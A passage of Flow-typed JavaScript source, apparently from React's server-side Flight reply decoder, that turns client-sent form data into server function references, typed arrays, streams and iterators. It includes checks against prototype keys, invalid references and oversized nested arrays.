number,\n): void {\n  if (chunk.status !== PENDING) {\n    // If we get more data to an already resolved ID, we assume that it's\n    // a stream chunk since any other row shouldn't have more than one entry.\n    const streamChunk: InitializedStreamChunk<any> = (chunk: any);\n    const controller = streamChunk.reason;\n    if (value[0] === 'C') {\n      controller.close(value === 'C' ? '\"$undefined\"' : value.slice(1));\n    } else {\n      controller.enqueueModel(value);\n    }\n    return;\n  }\n  const resolveListeners = chunk.value;\n  const rejectListeners = chunk.reason;\n  const resolvedChunk: ResolvedModelChunk<T> = (chunk: any);\n  resolvedChunk.status = RESOLVED_MODEL;\n  resolvedChunk.value = value;\n  resolvedChunk.reason = {id, [RESPONSE_SYMBOL]: response};\n  if (resolveListeners !== null) {\n    // This is unfortunate that we're reading this eagerly if\n    // we already have listeners attached since they might no\n    // longer be rendered or might not be the highest pri.\n    initializeModelChunk(resolvedChunk);\n    // The status might have changed after initialization.\n    wakeChunkIfInitialized(response, chunk, resolveListeners, rejectListeners);\n  }\n}\n\nfunction createInitializedStreamChunk<\n  T: ReadableStream | $AsyncIterable<any, any, void>,\n>(\n  response: Response,\n  value: T,\n  controller: FlightStreamController,\n): InitializedChunk<T> {\n  // We use the reason field to stash the controller since we already have that\n  // field. It's a bit of a hack but efficient.\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(INITIALIZED, value, controller);\n}\n\nfunction createResolvedIteratorResultChunk<T>(\n  response: Response,\n  value: string,\n  done: boolean,\n): ResolvedModelChunk<IteratorResult<T, T>> {\n  // To reuse code as much code as possible we add the wrapper element as part of the JSON.\n  const iteratorResultJSON =\n    (done ? '{\"done\":true,\"value\":' : '{\"done\":false,\"value\":') + value + '}';\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(RESOLVED_MODEL, iteratorResultJSON, {\n    id: -1,\n    [RESPONSE_SYMBOL]: response,\n  });\n}\n\nfunction resolveIteratorResultChunk<T>(\n  response: Response,\n  chunk: SomeChunk<IteratorResult<T, T>>,\n  value: string,\n  done: boolean,\n): void {\n  // To reuse code as much code as possible we add the wrapper element as part of the JSON.\n  const iteratorResultJSON =\n    (done ? '{\"done\":true,\"value\":' : '{\"done\":false,\"value\":') + value + '}';\n  resolveModelChunk(response, chunk, iteratorResultJSON, -1);\n}\n\nfunction loadServerReference<A: Iterable<any>, T>(\n  response: Response,\n  metaData: {\n    id: any,\n    bound: null | Thenable<Array<any>>,\n  },\n  parentObject: Object,\n  key: string,\n): (...A) => Promise<T> {\n  const id: ServerReferenceId = metaData.id;\n  if (typeof id !== 'string') {\n    return (null: any);\n  }\n  if (key === 'then') {\n    // This should never happen because we always serialize objects with then-functions\n    // as \"thenable\" which reduces to ReactPromise with no other fields.\n    return (null: any);\n  }\n\n  // Check for a cached promise from a previous call with the same metadata.\n  // This handles deduplication when the same server reference appears multiple\n  // times in the payload.\n  const cachedPromise: SomeChunk<T> | void = (metaData: any).$$promise;\n  if (cachedPromise !== undefined) {\n    if (cachedPromise.status === INITIALIZED) {\n      // The value was already resolved by a previous call.\n      const resolvedValue: T = cachedPromise.value;\n      if (key === __PROTO__) {\n        return (null: any);\n      }\n      parentObject[key] = resolvedValue;\n      return (resolvedValue: any);\n    }\n\n    // The promise is still blocked. Increment the handler dependency count ...\n    let handler: InitializationHandler;\n    if (initializingHandler) {\n      handler = initializingHandler;\n      handler.deps++;\n    } else {\n      handler = initializingHandler = {\n        chunk: null,\n        value: null,\n        reason: null,\n        deps: 1,\n        errored: false,\n      };\n    }\n    // ... and register resolve and reject listeners on the promise.\n    cachedPromise.then(\n      resolveReference.bind(null, response, handler, parentObject, key),\n      rejectReference.bind(null, response, handler),\n    );\n\n    // Return a place holder value for now.\n    return (null: any);\n  }\n\n  // This is the first call for this server reference metadata. Create a cached\n  // promise to be used for subsequent calls.\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  const blockedPromise: BlockedChunk<T> = new ReactPromise(BLOCKED, null, null);\n  (metaData: any).$$promise = blockedPromise;\n\n  const serverReference: ServerReference<T> =\n    resolveServerReference<$FlowFixMe>(response._bundlerConfig, id);\n  // We expect most servers to not really need this because you'd just have all\n  // the relevant modules already loaded but it allows for lazy loading of code\n  // if needed.\n  const bound = metaData.bound;\n  let serverReferencePromise: null | Thenable<any> =\n    preloadModule(serverReference);\n  if (!serverReferencePromise) {\n    if (bound instanceof ReactPromise) {\n      serverReferencePromise = Promise.resolve(bound);\n    } else {\n      const resolvedValue = (requireModule(serverReference): any);\n      // Resolve the cached promise synchronously.\n      const initializedPromise: InitializedChunk<T> = (blockedPromise: any);\n      initializedPromise.status = INITIALIZED;\n      initializedPromise.value = resolvedValue;\n      initializedPromise.reason = null;\n      return resolvedValue;\n    }\n  } else if (bound instanceof ReactPromise) {\n    serverReferencePromise = Promise.all([serverReferencePromise, bound]);\n  }\n\n  let handler: InitializationHandler;\n  if (initializingHandler) {\n    handler = initializingHandler;\n    handler.deps++;\n  } else {\n    handler = initializingHandler = {\n      chunk: null,\n      value: null,\n      reason: null,\n      deps: 1,\n      errored: false,\n    };\n  }\n\n  function fulfill(): void {\n    let resolvedValue = (requireModule(serverReference): any);\n\n    if (metaData.bound) {\n      // This promise is coming from us and should have initialized by now.\n      const promiseValue = (metaData.bound: any).value;\n      const boundArgs: Array<any> = isArray(promiseValue)\n        ? promiseValue.slice(0)\n        : [];\n      if (boundArgs.length > MAX_BOUND_ARGS) {\n        reject(\n          new Error(\n            'Server Function has too many bound arguments. Received ' +\n              boundArgs.length +\n              ' but the limit is ' +\n              MAX_BOUND_ARGS +\n              '.',\n          ),\n        );\n        return;\n      }\n      boundArgs.unshift(null); // this\n      resolvedValue = resolvedValue.bind.apply(resolvedValue, boundArgs);\n    }\n\n    // Resolve the cached promise so subsequent references can use the value.\n    const resolveListeners = blockedPromise.value;\n    const initializedPromise: InitializedChunk<T> = (blockedPromise: any);\n    initializedPromise.status = INITIALIZED;\n    initializedPromise.value = resolvedValue;\n    initializedPromise.reason = null;\n    if (resolveListeners !== null) {\n      // Notify any resolve listeners that were added via .then() from\n      // subsequent loadServerReference calls for the same reference.\n      wakeChunk(response, resolveListeners, resolvedValue, initializedPromise);\n    }\n\n    resolveReference(response, handler, parentObject, key, resolvedValue);\n  }\n\n  function reject(error: mixed): void {\n    // Mark the cached promise as errored so subsequent references fail too.\n    const rejectListeners = blockedPromise.reason;\n    const erroredPromise: ErroredChunk<T> = (blockedPromise: any);\n    erroredPromise.status = ERRORED;\n    erroredPromise.value = null;\n    erroredPromise.reason = error;\n    if (rejectListeners !== null) {\n      // Notify any reject listeners that were added via .then() from subsequent\n      // loadServerReference calls for the same reference.\n      rejectChunk(response, rejectListeners, error);\n    }\n\n    rejectReference(response, handler, error);\n  }\n\n  serverReferencePromise.then(fulfill, reject);\n\n  // Return a place holder value for now.\n  return (null: any);\n}\n\nfunction reviveModel(\n  response: Response,\n  parentObj: any,\n  parentKey: string,\n  value: JSONValue,\n  reference: void | string,\n  arrayRoot: null | NestedArrayContext,\n): any {\n  if (typeof value === 'string') {\n    // We can't use .bind here because we need the \"this\" value.\n    return parseModelString(\n      response,\n      parentObj,\n      parentKey,\n      value,\n      reference,\n      arrayRoot,\n    );\n  }\n  if (typeof value === 'object' && value !== null) {\n    if (\n      reference !== undefined &&\n      response._temporaryReferences !== undefined\n    ) {\n      // Store this object's reference in case it's returned later.\n      registerTemporaryReference(\n        response._temporaryReferences,\n        value,\n        reference,\n      );\n    }\n    if (isArray(value)) {\n      let childContext: NestedArrayContext;\n      if (arrayRoot === null) {\n        childContext = ({\n          count: 0,\n          fork: false,\n        }: NestedArrayContext);\n        response._rootArrayContexts.set(value, childContext);\n      } else {\n        childContext = arrayRoot;\n      }\n      if (value.length > 1) {\n        childContext.fork = true;\n      }\n      bumpArrayCount(childContext, value.length + 1, response);\n      for (let i = 0; i < value.length; i++) {\n        const childRef =\n          reference !== undefined ? reference + ':' + i : undefined;\n        // $FlowFixMe[cannot-write]\n        value[i] = reviveModel(\n          response,\n          value,\n          '' + i,\n          value[i],\n          childRef,\n          childContext,\n        );\n      }\n    } else {\n      for (const key in value) {\n        if (hasOwnProperty.call(value, key)) {\n          if (key === __PROTO__) {\n            // $FlowFixMe[cannot-write]\n            delete value[key];\n            continue;\n          }\n          const childRef =\n            reference !== undefined && key.indexOf(':') === -1\n              ? reference + ':' + key\n              : undefined;\n          const newValue = reviveModel(\n            response,\n            value,\n            key,\n            value[key],\n            childRef,\n            null, // The array context resets when we're entering a non-array\n          );\n          if (newValue !== undefined) {\n            // $FlowFixMe[cannot-write]\n            value[key] = newValue;\n          } else {\n            // $FlowFixMe[cannot-write]\n            delete value[key];\n          }\n        }\n      }\n    }\n  }\n  return value;\n}\n\ntype NestedArrayContext = {\n  // Keeps track of how many slots, bytes or characters are in nested arrays/strings/typed arrays.\n  count: number,\n  // A single child is itself not harmful. There needs to be at least one parent array with more\n  // than one child.\n  fork: boolean,\n};\n\nfunction bumpArrayCount(\n  arrayContext: NestedArrayContext,\n  slots: number,\n  response: Response,\n): void {\n  const newCount = (arrayContext.count += slots);\n  if (newCount > response._arraySizeLimit && arrayContext.fork) {\n    throw new Error(\n      'Maximum array nesting exceeded. Large nested arrays can be dangerous. Try adding intermediate objects.',\n    );\n  }\n}\n\ntype InitializationReference = {\n  handler: InitializationHandler,\n  parentObject: Object,\n  key: string,\n  map: (\n    response: Response,\n    model: any,\n    parentObject: Object,\n    key: string,\n  ) => any,\n  path: Array<string>,\n  arrayRoot: null | NestedArrayContext,\n};\ntype InitializationHandler = {\n  chunk: null | BlockedChunk<any>,\n  value: any,\n  reason: any,\n  deps: number,\n  errored: boolean,\n};\nlet initializingHandler: null | InitializationHandler = null;\n\nfunction initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {\n  const prevHandler = initializingHandler;\n  initializingHandler = null;\n\n  const {[RESPONSE_SYMBOL]: response, id} = chunk.reason;\n\n  const rootReference = id === -1 ? undefined : id.toString(16);\n\n  const resolvedModel = chunk.value;\n\n  // We go to the BLOCKED state until we've fully resolved this.\n  // We do this before parsing in case we try to initialize the same chunk\n  // while parsing the model. Such as in a cyclic reference.\n  const cyclicChunk: BlockedChunk<T> = (chunk: any);\n  cyclicChunk.status = BLOCKED;\n  cyclicChunk.value = null;\n  cyclicChunk.reason = null;\n\n  try {\n    const rawModel = JSON.parse(resolvedModel);\n\n    // The root might not be an array but if it is we want to track the count of entries.\n    const arrayRoot: NestedArrayContext = {\n      count: 0,\n      fork: false,\n    };\n\n    const value: T = reviveModel(\n      response,\n      {'': rawModel},\n      '',\n      rawModel,\n      rootReference,\n      arrayRoot,\n    );\n\n    // Invoke any listeners added while resolving this model. I.e. cyclic\n    // references. This may or may not fully resolve the model depending on\n    // if they were blocked.\n    const resolveListeners = cyclicChunk.value;\n    if (resolveListeners !== null) {\n      cyclicChunk.value = null;\n      cyclicChunk.reason = null;\n      for (let i = 0; i < resolveListeners.length; i++) {\n        const listener = resolveListeners[i];\n        if (typeof listener === 'function') {\n          listener(value);\n        } else {\n          fulfillReference(response, listener, value, arrayRoot);\n        }\n      }\n    }\n    if (initializingHandler !== null) {\n      if (initializingHandler.errored) {\n        throw initializingHandler.reason;\n      }\n      if (initializingHandler.deps > 0) {\n        // We discovered new dependencies on modules that are not yet resolved.\n        // We have to keep the BLOCKED state until they're resolved.\n        initializingHandler.value = value;\n        initializingHandler.reason = arrayRoot;\n        initializingHandler.chunk = cyclicChunk;\n        return;\n      }\n    }\n    const initializedChunk: InitializedChunk<T> = (chunk: any);\n    initializedChunk.status = INITIALIZED;\n    initializedChunk.value = value;\n    initializedChunk.reason = arrayRoot;\n  } catch (error) {\n    const erroredChunk: ErroredChunk<T> = (chunk: any);\n    erroredChunk.status = ERRORED;\n    erroredChunk.reason = error;\n  } finally {\n    initializingHandler = prevHandler;\n  }\n}\n\n// Report that any missing chunks in the model is now going to throw this\n// error upon read. Also notify any pending promises.\nexport function reportGlobalError(response: Response, error: Error): void {\n  response._closed = true;\n  response._closedReason = error;\n  response._chunks.forEach(chunk => {\n    // If this chunk was already resolved or errored, it won't\n    // trigger an error but if it wasn't then we need to\n    // because we won't be getting any new data to resolve it.\n    if (chunk.status === PENDING) {\n      triggerErrorOnChunk(response, chunk, error);\n    } else if (chunk.status === INITIALIZED && chunk.reason !== null) {\n      const maybeController = chunk.reason;\n      // $FlowFixMe\n      if (typeof maybeController.error === 'function') {\n        maybeController.error(error);\n      }\n    }\n  });\n}\n\nfunction getChunk(response: Response, id: number): SomeChunk<any> {\n  const chunks = response._chunks;\n  let chunk = chunks.get(id);\n  if (!chunk) {\n    const prefix = response._prefix;\n    const key = prefix + id;\n    // Check if we have this field in the backing store already.\n    const backingEntry = response._formData.get(key);\n    if (typeof backingEntry === 'string') {\n      chunk = createResolvedModelChunk(response, backingEntry, id);\n    } else if (response._closed) {\n      // We have already errored the response and we're not going to get\n      // anything more streaming in so this will immediately error.\n      chunk = createErroredChunk(response, response._closedReason);\n    } else {\n      // We're still waiting on this entry to stream in.\n      chunk = createPendingChunk(response);\n    }\n    chunks.set(id, chunk);\n  }\n  return chunk;\n}\n\nfunction fulfillReference(\n  response: Response,\n  reference: InitializationReference,\n  value: any,\n  arrayRoot: null | NestedArrayContext,\n): void {\n  const {handler, parentObject, key, map, path} = reference;\n\n  let resolvedValue;\n  try {\n    let localLength: number = 0;\n    const rootArrayContexts = response._rootArrayContexts;\n    for (let i = 1; i < path.length; i++) {\n      // The server doesn't have any lazy references so we don't expect to go through a Promise.\n      const name = path[i];\n      if (\n        typeof value === 'object' &&\n        value !== null &&\n        (getPrototypeOf(value) === ObjectPrototype ||\n          getPrototypeOf(value) === ArrayPrototype) &&\n        hasOwnProperty.call(value, name)\n      ) {\n        value = value[name];\n        if (isArray(value)) {\n          localLength = 0;\n          arrayRoot = rootArrayContexts.get(value) || arrayRoot;\n        } else {\n          arrayRoot = null;\n          if (typeof value === 'string') {\n            localLength = value.length;\n          } else if (typeof value === 'bigint') {\n            // Estimate the length to avoid expensive toString() calls on large\n            // BigInt values. If the value is too large, we get Infinity, which\n            // will trigger the array size limit error.\n            // eslint-disable-next-line react-internal/no-primitive-constructors\n            const n = Math.abs(Number(value));\n            if (n === 0) {\n              localLength = 1;\n            } else {\n              localLength = Math.floor(Math.log10(n)) + 1;\n            }\n          } else if (ArrayBuffer.isView(value)) {\n            localLength = value.byteLength;\n          } else {\n            localLength = 0;\n          }\n        }\n      } else {\n        throw new Error('Invalid reference.');\n      }\n    }\n\n    resolvedValue = map(response, value, parentObject, key);\n\n    // Add any array counts to the reference's array root. The value that we're\n    // resolving might have deep nesting that we need to resolve.\n    const referenceArrayRoot = reference.arrayRoot;\n    if (referenceArrayRoot !== null) {\n      if (arrayRoot !== null) {\n        if (arrayRoot.fork) {\n          referenceArrayRoot.fork = true;\n        }\n        bumpArrayCount(referenceArrayRoot, arrayRoot.count, response);\n      } else if (localLength > 0) {\n        bumpArrayCount(referenceArrayRoot, localLength, response);\n      }\n    }\n  } catch (error) {\n    rejectReference(response, handler, error);\n    return;\n  }\n\n  // There are no Elements or Debug Info to transfer here.\n\n  resolveReference(response, handler, parentObject, key, resolvedValue);\n}\n\nfunction resolveReference(\n  response: Response,\n  handler: InitializationHandler,\n  parentObject: Object,\n  key: string,\n  resolvedValue: mixed,\n): void {\n  if (key !== __PROTO__) {\n    parentObject[key] = resolvedValue;\n  }\n\n  // If this is the root object for a model reference, where `handler.value`\n  // is a stale `null`, the resolved value can be used directly.\n  if (key === '' && handler.value === null) {\n    handler.value = resolvedValue;\n  }\n\n  handler.deps--;\n\n  if (handler.deps === 0) {\n    const chunk = handler.chunk;\n    if (chunk === null || chunk.status !== BLOCKED) {\n      return;\n    }\n    const resolveListeners = chunk.value;\n    const initializedChunk: InitializedChunk<any> = (chunk: any);\n    initializedChunk.status = INITIALIZED;\n    initializedChunk.value = handler.value;\n    initializedChunk.reason = handler.reason; // Used by streaming chunks\n    if (resolveListeners !== null) {\n      wakeChunk(response, resolveListeners, handler.value, initializedChunk);\n    }\n  }\n}\n\nfunction rejectReference(\n  response: Response,\n  handler: InitializationHandler,\n  error: mixed,\n): void {\n  if (handler.errored) {\n    // We've already errored. We could instead build up an AggregateError\n    // but if there are multiple errors we just take the first one like\n    // Promise.all.\n    return;\n  }\n  handler.errored = true;\n  handler.value = null;\n  handler.reason = error;\n  const chunk = handler.chunk;\n  if (chunk === null || chunk.status !== BLOCKED) {\n    return;\n  }\n  // There's no debug info to forward in this direction.\n  triggerErrorOnChunk(response, chunk, error);\n}\n\nfunction waitForReference<T>(\n  response: Response,\n  referencedChunk: BlockedChunk<T>,\n  parentObject: Object,\n  key: string,\n  arrayRoot: null | NestedArrayContext,\n  map: (response: Response, model: any, parentObject: Object, key: string) => T,\n  path: Array<string>,\n): T {\n  let handler: InitializationHandler;\n  if (initializingHandler) {\n    handler = initializingHandler;\n    handler.deps++;\n  } else {\n    handler = initializingHandler = {\n      chunk: null,\n      value: null,\n      reason: null,\n      deps: 1,\n      errored: false,\n    };\n  }\n\n  const reference: InitializationReference = {\n    handler,\n    parentObject,\n    key,\n    map,\n    path,\n    arrayRoot,\n  };\n\n  // Add \"listener\".\n  if (referencedChunk.value === null) {\n    referencedChunk.value = [reference];\n  } else {\n    referencedChunk.value.push(reference);\n  }\n  if (referencedChunk.reason === null) {\n    referencedChunk.reason = [reference];\n  } else {\n    referencedChunk.reason.push(reference);\n  }\n\n  // Return a place holder value for now.\n  return (null: any);\n}\n\nfunction getOutlinedModel<T>(\n  response: Response,\n  reference: string,\n  parentObject: Object,\n  key: string,\n  referenceArrayRoot: null | NestedArrayContext,\n  map: (response: Response, model: any, parentObject: Object, key: string) => T,\n): T {\n  const path = reference.split(':');\n  const id = parseInt(path[0], 16);\n  const chunk = getChunk(response, id);\n  switch (chunk.status) {\n    case RESOLVED_MODEL:\n      initializeModelChunk(chunk);\n      break;\n  }\n  // The status might have changed after initialization.\n  switch (chunk.status) {\n    case INITIALIZED:\n      let value = chunk.value;\n      let arrayRoot: null | NestedArrayContext = chunk.reason;\n      let localLength: number = 0;\n      const rootArrayContexts = response._rootArrayContexts;\n      for (let i = 1; i < path.length; i++) {\n        const name = path[i];\n        if (\n          typeof value === 'object' &&\n          value !== null &&\n          (getPrototypeOf(value) === ObjectPrototype ||\n            getPrototypeOf(value) === ArrayPrototype) &&\n          hasOwnProperty.call(value, name)\n        ) {\n          value = value[name];\n          if (isArray(value)) {\n            localLength = 0;\n            arrayRoot = rootArrayContexts.get(value) || arrayRoot;\n          } else {\n            arrayRoot = null;\n            if (typeof value === 'string') {\n              localLength = value.length;\n            } else if (typeof value === 'bigint') {\n              // Estimate the length to avoid expensive toString() calls on large\n              // BigInt values. If the value is too large, we get Infinity, which\n              // will trigger the array size limit error.\n              // eslint-disable-next-line react-internal/no-primitive-constructors\n              const n = Math.abs(Number(value));\n              if (n === 0) {\n                localLength = 1;\n              } else {\n                localLength = Math.floor(Math.log10(n)) + 1;\n              }\n            } else if (ArrayBuffer.isView(value)) {\n              localLength = value.byteLength;\n            } else {\n              localLength = 0;\n            }\n          }\n        } else {\n          throw new Error('Invalid reference.');\n        }\n      }\n      const chunkValue = map(response, value, parentObject, key);\n\n      // Add any array counts to the reference's array root. The value that we're\n      // resolving might have deep nesting that we need to resolve.\n      if (referenceArrayRoot !== null) {\n        if (arrayRoot !== null) {\n          if (arrayRoot.fork) {\n            referenceArrayRoot.fork = true;\n          }\n          bumpArrayCount(referenceArrayRoot, arrayRoot.count, response);\n        } else if (localLength > 0) {\n          bumpArrayCount(referenceArrayRoot, localLength, response);\n        }\n      }\n      // There's no Element nor Debug Info in the ReplyServer so we don't have to check those here.\n      return chunkValue;\n    case BLOCKED:\n      return waitForReference(\n        response,\n        chunk,\n        parentObject,\n        key,\n        referenceArrayRoot,\n        map,\n        path,\n      );\n    case PENDING:\n      // If we don't have the referenced chunk yet, then this must be a forward reference,\n      // which is not allowed.\n      throw new Error('Invalid forward reference.');\n    default:\n      // This is an error. Instead of erroring directly, we're going to encode this on\n      // an initialization handler.\n      if (initializingHandler) {\n        initializingHandler.errored = true;\n        initializingHandler.value = null;\n        initializingHandler.reason = chunk.reason;\n      } else {\n        initializingHandler = {\n          chunk: null,\n          value: null,\n          reason: chunk.reason,\n          deps: 0,\n          errored: true,\n        };\n      }\n      // Placeholder\n      return (null: any);\n  }\n}\n\nfunction createMap(\n  response: Response,\n  model: Array<[any, any]>,\n): Map<any, any> {\n  if (!isArray(model)) {\n    throw new Error('Invalid Map initializer.');\n  }\n  if ((model as any).$$consumed === true) {\n    throw new Error('Already initialized Map.');\n  }\n  const map = new Map(model);\n  (model as any).$$consumed = true;\n  return map;\n}\n\nfunction createSet(response: Response, model: Array<any>): Set<any> {\n  if (!isArray(model)) {\n    throw new Error('Invalid Set initializer.');\n  }\n  if ((model as any).$$consumed === true) {\n    throw new Error('Already initialized Set.');\n  }\n  const set = new Set(model);\n  (model as any).$$consumed = true;\n  return set;\n}\n\nfunction extractIterator(response: Response, model: Array<any>): Iterator<any> {\n  if (!isArray(model)) {\n    throw new Error('Invalid Iterator initializer.');\n  }\n  if ((model as any).$$consumed === true) {\n    throw new Error('Already initialized Iterator.');\n  }\n  // $FlowFixMe[incompatible-use]: This uses raw Symbols because we're extracting from a native array.\n  const iterator = model[Symbol.iterator]();\n  (model as any).$$consumed = true;\n  return iterator;\n}\n\nfunction createModel(\n  response: Response,\n  model: any,\n  parentObject: Object,\n  key: string,\n): any {\n  if (key === 'then' && typeof model === 'function') {\n    // This should never happen because we always serialize objects with then-functions\n    // as \"thenable\" which reduces to ReactPromise with no other fields.\n    return null;\n  }\n  return model;\n}\n\nfunction parseTypedArray<T: $ArrayBufferView | ArrayBuffer>(\n  response: Response,\n  reference: string,\n  constructor: any,\n  bytesPerElement: number,\n  parentObject: Object,\n  parentKey: string,\n  referenceArrayRoot: null | NestedArrayContext,\n): null {\n  const id = parseInt(reference.slice(2), 16);\n  const prefix = response._prefix;\n  const key = prefix + id;\n  const chunks = response._chunks;\n  if (chunks.has(id)) {\n    throw new Error('Already initialized typed array.');\n  }\n  chunks.set(\n    id,\n    // We don't need to put the actual Blob in the chunk,\n    // because it shouldn't be accessed by anything else.\n    createErroredChunk(response, new Error('Already initialized typed array.')),\n  );\n\n  // We should have this backingEntry in the store already because we emitted\n  // it before referencing it. It should be a Blob.\n  const backingEntry: Blob = (response._formData.get(key): any);\n\n  const promise: Promise<ArrayBuffer> = backingEntry.arrayBuffer();\n\n  // Since loading the buffer is an async operation we'll be blocking the parent\n  // chunk.\n\n  let handler: InitializationHandler;\n  if (initializingHandler) {\n    handler = initializingHandler;\n    handler.deps++;\n  } else {\n    handler = initializingHandler = {\n      chunk: null,\n      value: null,\n      reason: null,\n      deps: 1,\n      errored: false,\n    };\n  }\n\n  function fulfill(buffer: ArrayBuffer): void {\n    try {\n      if (referenceArrayRoot !== null) {\n        bumpArrayCount(referenceArrayRoot, buffer.byteLength, response);\n      }\n\n      const resolvedValue: T =\n        constructor === ArrayBuffer\n          ? (buffer: any)\n          : (new constructor(buffer): any);\n\n      if (key !== __PROTO__) {\n        parentObject[parentKey] = resolvedValue;\n      }\n\n      // If this is the root object for a model reference, where `handler.value`\n      // is a stale `null`, the resolved value can be used directly.\n      if (parentKey === '' && handler.value === null) {\n        handler.value = resolvedValue;\n      }\n    } catch (x) {\n      reject(x);\n      return;\n    }\n\n    handler.deps--;\n\n    if (handler.deps === 0) {\n      const chunk = handler.chunk;\n      if (chunk === null || chunk.status !== BLOCKED) {\n        return;\n      }\n      const resolveListeners = chunk.value;\n      const initializedChunk: InitializedChunk<T> = (chunk: any);\n      initializedChunk.status = INITIALIZED;\n      initializedChunk.value = handler.value;\n      // We don't keep an array count for this since it won't be referenced again.\n      // In fact, we don't really need to store this chunk at all.\n      initializedChunk.reason = null;\n      if (resolveListeners !== null) {\n        wakeChunk(response, resolveListeners, handler.value, initializedChunk);\n      }\n    }\n  }\n\n  function reject(error: mixed): void {\n    if (handler.errored) {\n      // We've already errored. We could instead build up an AggregateError\n      // but if there are multiple errors we just take the first one like\n      // Promise.all.\n      return;\n    }\n    handler.errored = true;\n    handler.value = null;\n    handler.reason = error;\n    const chunk = handler.chunk;\n    if (chunk === null || chunk.status !== BLOCKED) {\n      return;\n    }\n    triggerErrorOnChunk(response, chunk, error);\n  }\n\n  promise.then(fulfill, reject);\n\n  return null;\n}\n\nfunction resolveStream<T: ReadableStream | $AsyncIterable<any, any, void>>(\n  response: Response,\n  id: number,\n  stream: T,\n  controller: FlightStreamController,\n): void {\n  const chunks = response._chunks;\n  const chunk = createInitializedStreamChunk(response, stream, controller);\n  chunks.set(id, chunk);\n\n  const prefix = response._prefix;\n  const key = prefix + id;\n  const existingEntries = response._formData.getAll(key);\n  for (let i = 0; i < existingEntries.length; i++) {\n    const value = existingEntries[i];\n    if (typeof value === 'string') {\n      if (value[0] === 'C') {\n        controller.close(value === 'C' ? '\"$undefined\"' : value.slice(1));\n      } else {\n        controller.enqueueModel(value);\n      }\n    }\n  }\n}\n\nfunction parseReadableStream<T>(\n  response: Response,\n  reference: string,\n  type: void | 'bytes',\n  parentObject: Object,\n  parentKey: string,\n): ReadableStream {\n  const id = parseInt(reference.slice(2), 16);\n  const chunks = response._chunks;\n  if (chunks.has(id)) {\n    throw new Error('Already initialized stream.');\n  }\n\n  let controller: ReadableStreamController = (null: any);\n  let closed = false;\n  const stream = new ReadableStream({\n    type: type,\n    start(c) {\n      controller = c;\n    },\n  });\n  let previousBlockedChunk: SomeChunk<T> | null = null;\n  function enqueue(value: T): void {\n    if (type === 'bytes' && !ArrayBuffer.isView(value)) {\n      flightController.error(new Error('Invalid data for bytes stream.'));\n      return;\n    }\n    controller.enqueue(value);\n  }\n  const flightController = {\n    enqueueModel(json: string): void {\n      if (previousBlockedChunk === null) {\n        // If we're not blocked on any other chunks, we can try to eagerly initialize\n        // this as a fast-path to avoid awaiting them.\n        const chunk: ResolvedModelChunk<T> = createResolvedModelChunk(\n          response,\n          json,\n          -1,\n        );\n        initializeModelChunk(chunk);\n        const initializedChunk: SomeChunk<T> = chunk;\n        if (initializedChunk.status === INITIALIZED) {\n          enqueue(initializedChunk.value);\n        } else {\n          chunk.then(enqueue, flightController.error);\n          previousBlockedChunk = chunk;\n        }\n      } else {\n        // We're still waiting on a previous chunk so we can't enqueue quite yet.\n        const blockedChunk = previousBlockedChunk;\n        const chunk: SomeChunk<T> = createPendingChunk(response);\n        chunk.then(enqueue, flightController.error);\n        previousBlockedChunk = chunk;\n        blockedChunk.then(function () {\n          if (previousBlockedChunk === chunk) {\n            // We were still the last chunk so we can now clear the queue and return\n            // to synchronous emitting.\n            previousBlockedChunk = null;\n          }\n          resolveModelChunk(response, chunk, json, -1);\n        });\n      }\n    },\n    close(json: string): void {\n      if (closed) {\n        return;\n      }\n      closed = true;\n      if (previousBlockedChunk === null) {\n        controller.close();\n      } else {\n        const blockedChunk = previousBlockedChunk;\n        // We shouldn't get any more enqueues after this so we can set it back to null.\n        previousBlockedChunk = null;\n        blockedChunk.then(() => controller.close());\n      }\n    },\n    error(error: mixed): void {\n      if (closed) {\n        return;\n      }\n      closed = true;\n      if (previousBlockedChunk === null) {\n        // $FlowFixMe[incompatible-call]\n        controller.error(error);\n      } else {\n        const blockedChunk = previousBlockedChunk;\n        // We shouldn't get any more enqueues after this so we can set it back to null.\n        previousBlockedChunk = null;\n        blockedChunk.then(() => controller.error((error: any)));\n      }\n    },\n  };\n  resolveStream(response, id, stream, flightController);\n  return stream;\n}\n\nfunction FlightIterator(\n  this: {next: (arg: void) => SomeChunk<IteratorResult<any, any>>, ...},\n  next: (arg: void) => SomeChunk<IteratorResult<any, any>>,\n) {\n  this.next = next;\n  // TODO: Add return/throw as options for aborting.\n}\n// TODO: The iterator could inherit the AsyncIterator prototype which is not exposed as\n// a global but exists as a prototype of an AsyncGenerator. However, it's not needed\n// to satisfy the iterable protocol.\nFlightIterator.prototype = ({}: any);\nFlightIterator.prototype[ASYNC_ITERATOR] = function asyncIterator(\n  this: $AsyncIterator<any, any, void>,\n) {\n  // Self referencing iterator.\n  return this;\n};\n\nfunction parseAsyncIterable<T>(\n  response: Response,\n  reference: string,\n  iterator: boolean,\n  parentObject: Object,\n  parentKey: string,\n): $AsyncIterable<T, T, void> | $AsyncIterator<T, T, void> {\n  const id = parseInt(reference.slice(2), 16);\n  const chunks = response._chunks;\n  if (chunks.has(id)) {\n    throw new Error('Already initialized stream.');\n  }\n\n  const buffer: Array<SomeChunk<IteratorResult<T, T>>> = [];\n  let closed = false;\n  let nextWriteIndex = 0;\n  const flightController = {\n    enqueueModel(value: string): void {\n      if (nextWriteIndex === buffer.length) {\n        buffer[nextWriteIndex] = createResolvedIteratorResultChunk(\n          response,\n          value,\n          false,\n        );\n      } else {\n        resolveIteratorResultChunk(\n          response,\n          buffer[nextWriteIndex],\n          value,\n          false,\n        );\n      }\n      nextWriteIndex++;\n    },\n    close(value: string): void {\n      if (closed) {\n        return;\n      }\n      closed = true;\n      if (nextWriteIndex === buffer.length) {\n        buffer[nextWriteIndex] = createResolvedIteratorResultChunk(\n          response,\n          value,\n          true,\n        );\n      } else {\n        resolveIteratorResultChunk(\n          response,\n          buffer[nextWriteIndex],\n          value,\n          true,\n        );\n      }\n      nextWriteIndex++;\n      while (nextWriteIndex < buffer.length) {\n        // In generators, any extra reads from the iterator have the value undefined.\n        resolveIteratorResultChunk(\n          response,\n          buffer[nextWriteIndex++],\n          '\"$undefined\"',\n          true,\n        );\n      }\n    },\n    error(error: Error): void {\n      if (closed) {\n        return;\n      }\n      